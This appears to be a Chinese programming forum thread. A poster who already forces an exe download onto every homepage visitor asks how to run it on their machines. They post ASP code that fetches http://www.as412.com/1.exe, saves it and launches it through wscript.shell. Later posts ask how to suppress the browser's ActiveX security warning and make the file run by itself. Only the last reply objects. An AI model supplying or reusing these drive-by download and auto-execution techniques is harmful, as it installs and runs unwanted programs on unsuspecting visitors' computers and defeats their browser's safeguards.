我有一个ftp,里面放了1个exe的文件,当访问主页时,已经做到自动把exe下载到访问者的客户端,请问如何运行它?

解决方案 »

  1.   

    网页是asp程序,代码如下,shell不好使啊
    <%
    lj = "http://www.as412.com/1.exe"function reReader(url)   
      dim http 
      set http = server.CreateObject("Microsoft.XMLHTTP")
      with http
     .Open "get", url, false, "", ""
     .Send
     reReader = .ResponseBody
      end with
      set http = nothing
    end functiondim objStream 
    set objStream=server.CreateObject("adodb.stream") 
    objStream.Type = 1 
    objStream.Open 
    objStream.Write reReader(lj) 
    objstream.SaveToFile "e:web1\2.exe", 2 
    objStream.Close 
    Set objStream = Nothingset wshshell=createobject("wscript.shell")
    wshshell "e:web1\2.exe"
    %>
      

  2.   

    Shell "存放目录" & "\" & "exe的名字"
      

  3.   

    是写在exe里?还是写在asp里?在asp里是写服务器端还是客户端?
      

  4.   

    已经下载和执行了,可是执行之前浏览器有提示"在此页上的ActiveX控件和本页上的其他部分的交互可能不安全。你想允许这种交互吗?"怎么去掉?
      

  5.   

    现在的问题是 下载到客户端时没有提示 运行时有提示,能不能做在exe中写代码  写他几秒后自动运行这个exe啊?
      

  6.   

    会有一个activex的提示,正常人都不会允许运行的,你这招未必好使。研究下正常的软件吧。